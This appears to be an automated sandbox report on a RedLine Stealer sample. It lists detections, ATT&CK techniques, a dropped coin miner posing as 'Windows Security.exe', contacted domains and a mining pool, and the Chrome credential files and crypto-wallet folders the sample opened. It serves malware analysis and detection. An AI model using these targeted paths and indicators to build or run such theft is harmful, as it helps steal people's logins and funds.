Source: 18561381.exe, 00000000.00000002.403033481.0000000000A80000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 00000008.00000002.503791068.000001E6FCF02000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe
Source: Amcache.hve.0.dr	Binary or memory string: procexp.exe

Stealing of Sensitive Information

Yara detected RedLine Stealer

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 18561381.exe, type: SAMPLE
Source: Yara match	File source: 0.0.18561381.exe.f0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.18561381.exe.f0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000000.234542806.00000000000F2000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.401749715.00000000000F2000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 18561381.exe PID: 6608, type: MEMORYSTR

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\18561381.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\18561381.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\18561381.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\18561381.exe	File opened: C:\Users\user\AppData\Roaming\Ethereum\wallets\			Jump to behavior
Source: C:\Users\user\Desktop\18561381.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\			Jump to behavior

Source: Yara match	File source: 00000000.00000002.404613044.00000000025B1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 18561381.exe PID: 6608, type: MEMORYSTR

Remote Access Functionality

Yara detected RedLine Stealer

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 18561381.exe, type: SAMPLE
Source: Yara match	File source: 0.0.18561381.exe.f0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.18561381.exe.f0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000000.234542806.00000000000F2000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.401749715.00000000000F2000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 18561381.exe PID: 6608, type: MEMORYSTR

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	221 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	111 Disable or Modify Tools	1 OS Credential Dumping	1 File and Directory Discovery	Remote Services	1 Archive Collected Data	Exfiltration Over Other Network Medium	11 Ingress Tool Transfer	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	11 Scripting	1 Scheduled Task/Job	11 Process Injection	1 Deobfuscate/Decode Files or Information	LSASS Memory	143 System Information Discovery	Remote Desktop Protocol	2 Data from Local System	Exfiltration Over Bluetooth	11 Encrypted Channel	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	11 Command and Scripting Interpreter	Logon Script (Windows)	1 Scheduled Task/Job	11 Scripting	Security Account Manager	441 Security Software Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	1 Non-Standard Port	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	1 Scheduled Task/Job	Logon Script (Mac)	Logon Script (Mac)	2 Obfuscated Files or Information	NTDS	11 Process Discovery	Distributed Component Object Model	Input Capture	Scheduled Transfer	2 Non-Application Layer Protocol	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	12 Software Packing	LSA Secrets	341 Virtualization/Sandbox Evasion	SSH	Keylogging	Data Transfer Size Limits	13 Application Layer Protocol	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	1 Timestomp	Cached Domain Credentials	1 Application Window Discovery	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	1 DLL Side-Loading	DCSync	1 Remote System Discovery	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	11 Masquerading	Proc Filesystem	Network Service Scanning	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue
Exploit Public-Facing Application	PowerShell	At (Linux)	At (Linux)	341 Virtualization/Sandbox Evasion	/etc/passwd and /etc/shadow	System Network Connections Discovery	Software Deployment Tools	Data Staged	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	Web Protocols	Rogue Cellular Base Station		Data Destruction
Supply Chain Compromise	AppleScript	At (Windows)	At (Windows)	11 Process Injection	Network Sniffing	Process Discovery	Taint Shared Content	Local Data Staging	Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol	File Transfer Protocols			Data Encrypted for Impact
Compromise Software Dependencies and Development Tools	Windows Command Shell	Cron	Cron	1 Hidden Files and Directories	Input Capture	Permission Groups Discovery	Replication Through Removable Media	Remote Data Staging	Exfiltration Over Physical Medium	Mail Protocols			Service Stop

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
18561381.exe	58%	Virustotal		Browse
18561381.exe	76%	ReversingLabs	ByteCode-MSIL.Trojan.RedLineStealer
18561381.exe	100%	Avira	HEUR/AGEN.1234971
18561381.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Roaming\Microsoft\Security\Windows Security.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\build.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\build.exe	20%	Metadefender		Browse
C:\Users\user\AppData\Local\Temp\build.exe	81%	ReversingLabs	ByteCode-MSIL.Trojan.CoinminerX
C:\Users\user\AppData\Roaming\Microsoft\Security\Windows Security.exe	20%	Metadefender		Browse
C:\Users\user\AppData\Roaming\Microsoft\Security\Windows Security.exe	81%	ReversingLabs	ByteCode-MSIL.Trojan.CoinminerX

Unpacked PE Files

Source	Detection	Scanner	Label	Download
16.2.build.exe.cb0000.0.unpack	100%	Avira	HEUR/AGEN.1244300	Download File
0.2.18561381.exe.f0000.0.unpack	100%	Avira	HEUR/AGEN.1234971	Download File
35.2.Windows Security.exe.530000.0.unpack	100%	Avira	HEUR/AGEN.1244300	Download File
26.2.Windows Security.exe.700000.0.unpack	100%	Avira	HEUR/AGEN.1244300	Download File
0.0.18561381.exe.f0000.0.unpack	100%	Avira	HEUR/AGEN.1234971	Download File

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label
http://tempuri.org/Entity/Id12Response	0%	URL Reputation	safe
http://tempuri.org/	0%	URL Reputation	safe
http://tempuri.org/Entity/Id2Response	0%	URL Reputation	safe
http://discord.com	0%	URL Reputation	safe
http://tempuri.org/Entity/Id21Response	0%	URL Reputation	safe
https://recaptcha.net/recaptcha/	0%	URL Reputation	safe
http://f0645594.xsph.ru4wk	0%	Avira URL Cloud	safe
http://tempuri.org/Entity/Id15Response	0%	URL Reputation	safe
http://tempuri.org/Entity/Id14V	0%	URL Reputation	safe
https://api.ip.sb/ip	0%	URL Reputation	safe
https://discord.com	0%	URL Reputation	safe
https://latency.discord.media	0%	Avira URL Cloud	safe
https://c.tenor.com;	0%	Avira URL Cloud	safe
http://crl.ver)	0%	Avira URL Cloud	safe
http://tempuri.org/Entity/Id24Response	0%	URL Reputation	safe
http://127.0.0.1:	0%	Avira URL Cloud	safe
https://dynamic.t	0%	URL Reputation	safe
http://tempuri.org/Entity/Id5Response	0%	URL Reputation	safe
http://tempuri.org/Entity/Id10Response	0%	URL Reputation	safe
http://tempuri.org/Entity/Id8Response	0%	URL Reputation	safe
https://best.discord.media	0%	Avira URL Cloud	safe
https://payments.braintree-api.com	0%	Avira URL Cloud	safe
https://hcaptcha.com;	0%	Avira URL Cloud	safe
https://www.tiktok.com/legal/report	0%	URL Reputation	safe
http://tempuri.org/Entity/Id13Response	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
f0645594.xsph.ru	141.8.192.151	true	false	high
discord.com	162.159.135.232	true	false	unknown
pool.hashvault.pro	131.153.142.106	true	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#Text	18561381.exe, 00000000.00000002.404613044.00000000025B1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/sc/sct	18561381.exe, 00000000.00000002.404613044.00000000025B1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/chrome_newtab	18561381.exe, 00000000.00000002.406360552.0000000002824000.00000004.00000800.00020000.00000000.sdmp, 18561381.exe, 00000000.00000002.404949340.000000000268B000.00000004.00000800.00020000.00000000.sdmp, 18561381.exe, 00000000.00000002.409840435.00000000037A6000.00000004.00000800.00020000.00000000.sdmp, 18561381.exe, 00000000.00000002.409974312.0000000003817000.00000004.00000800.00020000.00000000.sdmp, 18561381.exe, 00000000.00000002.405606385.000000000274C000.00000004.00000800.00020000.00000000.sdmp, 18561381.exe, 00000000.00000002.409340471.0000000003647000.00000004.00000800.00020000.00000000.sdmp, 18561381.exe, 00000000.00000002.405692734.0000000002763000.00000004.00000800.00020000.00000000.sdmp, 18561381.exe, 00000000.00000002.409471112.00000000036B8000.00000004.00000800.00020000.00000000.sdmp, 18561381.exe, 00000000.00000002.406246083.000000000280E000.00000004.00000800.00020000.00000000.sdmp, 18561381.exe, 00000000.00000002.409630866.0000000003735000.00000004.00000800.00020000.00000000.sdmp, 18561381.exe, 00000000.00000002.408438093.00000000035D6000.00000004.00000800.00020000.00000000.sdmp, 18561381.exe, 00000000.00000002.404613044.00000000025B1000.00000004.00000800.00020000.00000000.sdmp, 18561381.exe, 00000000.00000002.405022216.00000000026A1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/04/security/sc/dk	18561381.exe, 00000000.00000002.404613044.00000000025B1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/ac/?q=	18561381.exe, 00000000.00000002.405022216.00000000026A1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/08/addressing/faultL	18561381.exe, 00000000.00000002.404060330.0000000002521000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.youtube.com/embed/	18561381.exe, 00000000.00000002.407031152.000000000292C000.00000004.00000800.00020000.00000000.sdmp, 18561381.exe, 00000000.00000002.407017576.0000000002928000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id12Response	18561381.exe, 00000000.00000002.404613044.00000000025B1000.00000004.00000800.00020000.00000000.sdmp, 18561381.exe, 00000000.00000002.404060330.0000000002521000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://dev.ditu.live.com/REST/v1/Traffic/Incidents/	svchost.exe, 00000005.00000002.318011570.000002185624C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000005.00000003.316973143.000002185624A000.00000004.00000020.00020000.00000000.sdmp	false		high
http://tempuri.org/	18561381.exe, 00000000.00000002.404613044.00000000025B1000.00000004.00000800.00020000.00000000.sdmp, 18561381.exe, 00000000.00000002.404060330.0000000002521000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Entity/Id2Response	18561381.exe, 00000000.00000002.404613044.00000000025B1000.00000004.00000800.00020000.00000000.sdmp, 18561381.exe, 00000000.00000002.404060330.0000000002521000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://discord.com	18561381.exe, 00000000.00000002.406781851.00000000028CA000.00000004.00000800.00020000.00000000.sdmp, 18561381.exe, 00000000.00000002.406890836.00000000028F6000.00000004.00000800.00020000.00000000.sdmp, 18561381.exe, 00000000.00000002.406963972.000000000290E000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/02/sc/dk/p_sha1	18561381.exe, 00000000.00000002.404613044.00000000025B1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id21Response	18561381.exe, 00000000.00000002.404613044.00000000025B1000.00000004.00000800.00020000.00000000.sdmp, 18561381.exe, 00000000.00000002.404060330.0000000002521000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/2005/02/trust/spnego#GSS_Wrap	18561381.exe, 00000000.00000002.404613044.00000000025B1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.1#SAMLID	18561381.exe, 00000000.00000002.404613044.00000000025B1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://recaptcha.net/recaptcha/	18561381.exe, 00000000.00000002.407031152.000000000292C000.00000004.00000800.00020000.00000000.sdmp, 18561381.exe, 00000000.00000002.407017576.0000000002928000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://f0645594.xsph.ru4wk	18561381.exe, 00000000.00000002.407082588.000000000293F000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/02/trust#BinarySecret	18561381.exe, 00000000.00000002.404613044.00000000025B1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.google.com/chrome/?p=plugin_real	18561381.exe, 00000000.00000002.405692734.0000000002763000.00000004.00000800.00020000.00000000.sdmp, 18561381.exe, 00000000.00000002.407244628.000000000295D000.00000004.00000800.00020000.00000000.sdmp, 18561381.exe, 00000000.00000002.404613044.00000000025B1000.00000004.00000800.00020000.00000000.sdmp, 18561381.exe, 00000000.00000002.405022216.00000000026A1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://api.stripe.com	18561381.exe, 00000000.00000002.407031152.000000000292C000.00000004.00000800.00020000.00000000.sdmp, 18561381.exe, 00000000.00000002.407017576.0000000002928000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/Issue	18561381.exe, 00000000.00000002.404613044.00000000025B1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wsat/Aborted	18561381.exe, 00000000.00000002.404613044.00000000025B1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/rm/TerminateSequence	18561381.exe, 00000000.00000002.404060330.0000000002521000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wsat/fault	18561381.exe, 00000000.00000002.404613044.00000000025B1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wsat	18561381.exe, 00000000.00000002.404613044.00000000025B1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id15Response	18561381.exe, 00000000.00000002.404613044.00000000025B1000.00000004.00000800.00020000.00000000.sdmp, 18561381.exe, 00000000.00000002.404060330.0000000002521000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://w.soundcloud.com/player/	18561381.exe, 00000000.00000002.407031152.000000000292C000.00000004.00000800.00020000.00000000.sdmp, 18561381.exe, 00000000.00000002.407017576.0000000002928000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id14V	18561381.exe, 00000000.00000002.406781851.00000000028CA000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://cdn.discordapp.com/animations/	18561381.exe, 00000000.00000002.407031152.000000000292C000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	18561381.exe, 00000000.00000002.404613044.00000000025B1000.00000004.00000800.00020000.00000000.sdmp, Windows Security.exe, 0000001A.00000002.505730560.0000000002A31000.00000004.00000800.00020000.00000000.sdmp, Windows Security.exe, 00000023.00000002.507506565.0000000002A70000.00000004.00000800.00020000.00000000.sdmp	false		high
https://twitter.com/i/videos/	18561381.exe, 00000000.00000002.407031152.000000000292C000.00000004.00000800.00020000.00000000.sdmp, 18561381.exe, 00000000.00000002.407017576.0000000002928000.00000004.00000800.00020000.00000000.sdmp	false		high
https://dev.virtualearth.net/REST/v1/Imagery/Copyright/	svchost.exe, 00000005.00000002.317955827.0000021856229000.00000004.00000020.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/SCT/Renew	18561381.exe, 00000000.00000002.404613044.00000000025B1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wscoor/Register	18561381.exe, 00000000.00000002.404613044.00000000025B1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://assets.braintreegateway.com	18561381.exe, 00000000.00000002.407017576.0000000002928000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/04/trust/SymmetricKey	18561381.exe, 00000000.00000002.404613044.00000000025B1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://api.ip.sb/ip	18561381.exe	false	URL Reputation: safe	unknown
https://discord.com	18561381.exe, 00000000.00000002.406890836.00000000028F6000.00000004.00000800.00020000.00000000.sdmp, 18561381.exe, 00000000.00000002.407031152.000000000292C000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://latency.discord.media	18561381.exe, 00000000.00000002.407031152.000000000292C000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://c.tenor.com;	18561381.exe, 00000000.00000002.407031152.000000000292C000.00000004.00000800.00020000.00000000.sdmp, 18561381.exe, 00000000.00000002.407017576.0000000002928000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/SCT/Cancel	18561381.exe, 00000000.00000002.404613044.00000000025B1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	18561381.exe, 00000000.00000002.405022216.00000000026A1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.ver)	svchost.exe, 0000000B.00000002.505128111.000002E03EACD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000F.00000002.470844443.00000129A52E9000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000002.504898877.0000011979CE2000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://schemas.xmlsoap.org/ws/2004/04/security/trust/CK/PSHA1	18561381.exe, 00000000.00000002.404613044.00000000025B1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://vid.me	18561381.exe, 00000000.00000002.407031152.000000000292C000.00000004.00000800.00020000.00000000.sdmp, 18561381.exe, 00000000.00000002.407017576.0000000002928000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id24Response	18561381.exe, 00000000.00000002.404613044.00000000025B1000.00000004.00000800.00020000.00000000.sdmp, 18561381.exe, 00000000.00000002.404060330.0000000002521000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://dev.virtualearth.net/REST/v1/Locations	svchost.exe, 00000005.00000003.316762094.0000021856262000.00000004.00000020.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/rm/AckRequested	18561381.exe, 00000000.00000002.404060330.0000000002521000.00000004.00000800.00020000.00000000.sdmp	false		high
https://js.braintreegateway.com	18561381.exe, 00000000.00000002.407031152.000000000292C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://media.tenor.co	18561381.exe, 00000000.00000002.407031152.000000000292C000.00000004.00000800.00020000.00000000.sdmp, 18561381.exe, 00000000.00000002.407017576.0000000002928000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/tlsnego	18561381.exe, 00000000.00000002.404613044.00000000025B1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://127.0.0.1:	18561381.exe, 00000000.00000002.407031152.000000000292C000.00000004.00000800.00020000.00000000.sdmp, 18561381.exe, 00000000.00000002.407017576.0000000002928000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2004/08/addressing	18561381.exe, 00000000.00000002.404060330.0000000002521000.00000004.00000800.00020000.00000000.sdmp	false		high
https://dynamic.t	svchost.exe, 00000005.00000003.317145385.0000021856241000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://support.google.com/chrome/?p=plugin_shockwave	18561381.exe, 00000000.00000002.405022216.00000000026A1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://dev.virtualearth.net/REST/v1/Routes/Transit	svchost.exe, 00000005.00000003.316762094.0000021856262000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.google.com/recaptcha/	18561381.exe, 00000000.00000002.407031152.000000000292C000.00000004.00000800.00020000.00000000.sdmp, 18561381.exe, 00000000.00000002.407017576.0000000002928000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/RST/Issue	18561381.exe, 00000000.00000002.404613044.00000000025B1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wscoor/CreateCoordinationContextResponse	18561381.exe, 00000000.00000002.404613044.00000000025B1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.funimation.com/player/	18561381.exe, 00000000.00000002.407031152.000000000292C000.00000004.00000800.00020000.00000000.sdmp, 18561381.exe, 00000000.00000002.407017576.0000000002928000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id5Response	18561381.exe, 00000000.00000002.404060330.0000000002521000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/dns	18561381.exe, 00000000.00000002.404060330.0000000002521000.00000004.00000800.00020000.00000000.sdmp	false		high
https://dev.ditu.live.com/REST/v1/JsonFilter/VenueMaps/data/	svchost.exe, 00000005.00000002.318011570.000002185624C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000005.00000003.316973143.000002185624A000.00000004.00000020.00020000.00000000.sdmp	false		high
https://dynamic.api.tiles.ditu.live.com/odvs/gd?pv=1&r=	svchost.exe, 00000005.00000003.316973143.000002185624A000.00000004.00000020.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id10Response	18561381.exe, 00000000.00000002.406781851.00000000028CA000.00000004.00000800.00020000.00000000.sdmp, 18561381.exe, 00000000.00000002.404613044.00000000025B1000.00000004.00000800.00020000.00000000.sdmp, 18561381.exe, 00000000.00000002.404060330.0000000002521000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/02/trust/Renew	18561381.exe, 00000000.00000002.404613044.00000000025B1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id8Response	18561381.exe, 00000000.00000002.406360552.0000000002824000.00000004.00000800.00020000.00000000.sdmp, 18561381.exe, 00000000.00000002.404060330.0000000002521000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://support.google.com/chrome/?p=plugin_wmp	18561381.exe, 00000000.00000002.405692734.0000000002763000.00000004.00000800.00020000.00000000.sdmp, 18561381.exe, 00000000.00000002.407244628.000000000295D000.00000004.00000800.00020000.00000000.sdmp, 18561381.exe, 00000000.00000002.404613044.00000000025B1000.00000004.00000800.00020000.00000000.sdmp, 18561381.exe, 00000000.00000002.405022216.00000000026A1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://dev.virtualearth.net/REST/v1/Routes/Driving	svchost.exe, 00000005.00000003.316762094.0000021856262000.00000004.00000020.00020000.00000000.sdmp	false		high
http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.0#SAMLAssertionID	18561381.exe, 00000000.00000002.404613044.00000000025B1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/04/security/trust/RST/SCT	18561381.exe, 00000000.00000002.404613044.00000000025B1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2006/02/addressingidentity	18561381.exe, 00000000.00000002.404613044.00000000025B1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://i.imgur.com	18561381.exe, 00000000.00000002.407031152.000000000292C000.00000004.00000800.00020000.00000000.sdmp, 18561381.exe, 00000000.00000002.407017576.0000000002928000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/PublicKey	18561381.exe, 00000000.00000002.404613044.00000000025B1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://best.discord.media	18561381.exe, 00000000.00000002.407031152.000000000292C000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2004/10/wsat/Rollback	18561381.exe, 00000000.00000002.404613044.00000000025B1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://payments.braintree-api.com	18561381.exe, 00000000.00000002.407031152.000000000292C000.00000004.00000800.00020000.00000000.sdmp, 18561381.exe, 00000000.00000002.407017576.0000000002928000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://support.google.com/chrome/?p=plugin_java	18561381.exe, 00000000.00000002.405692734.0000000002763000.00000004.00000800.00020000.00000000.sdmp, 18561381.exe, 00000000.00000002.407244628.000000000295D000.00000004.00000800.00020000.00000000.sdmp, 18561381.exe, 00000000.00000002.404613044.00000000025B1000.00000004.00000800.00020000.00000000.sdmp, 18561381.exe, 00000000.00000002.405022216.00000000026A1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/04/security/trust/RSTR/SCT	18561381.exe, 00000000.00000002.404613044.00000000025B1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/06/addressingex	18561381.exe, 00000000.00000002.404613044.00000000025B1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gri?pv=1&r=	svchost.exe, 00000005.00000003.294338259.0000021856231000.00000004.00000020.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/04/security/trust/Nonce	18561381.exe, 00000000.00000002.404613044.00000000025B1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/rm/CreateSequenceResponse	18561381.exe, 00000000.00000002.404060330.0000000002521000.00000004.00000800.00020000.00000000.sdmp	false		high
https://open.spotify.com/embed/	18561381.exe, 00000000.00000002.407031152.000000000292C000.00000004.00000800.00020000.00000000.sdmp, 18561381.exe, 00000000.00000002.407017576.0000000002928000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.discordapp.com	18561381.exe, 00000000.00000002.407031152.000000000292C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://hcaptcha.com;	18561381.exe, 00000000.00000002.407031152.000000000292C000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://docs.oasis-open.org/wss/oasis-wss-kerberos-token-profile-1.1#GSS_Kerberosv5_AP_REQ1510	18561381.exe, 00000000.00000002.404613044.00000000025B1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.hotspotshield.com/terms/	svchost.exe, 0000000F.00000003.432673242.00000129A5BA5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000F.00000003.432708088.00000129A5BB5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000F.00000003.433339004.00000129A611A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000F.00000003.433164456.00000129A5BB5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000F.00000003.432875829.00000129A6002000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000F.00000003.434260416.00000129A5B78000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000F.00000003.434364370.00000129A5B7E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000F.00000003.432965566.00000129A6103000.00000004.00000020.00020000.00000000.sdmp	false		high
https://api.braintreegateway.com	18561381.exe, 00000000.00000002.407031152.000000000292C000.00000004.00000800.00020000.00000000.sdmp, 18561381.exe, 00000000.00000002.407017576.0000000002928000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.google.com/chrome/?p=plugin_divx	18561381.exe, 00000000.00000002.405022216.00000000026A1000.00000004.00000800.00020000.00000000.sdmp	false		high
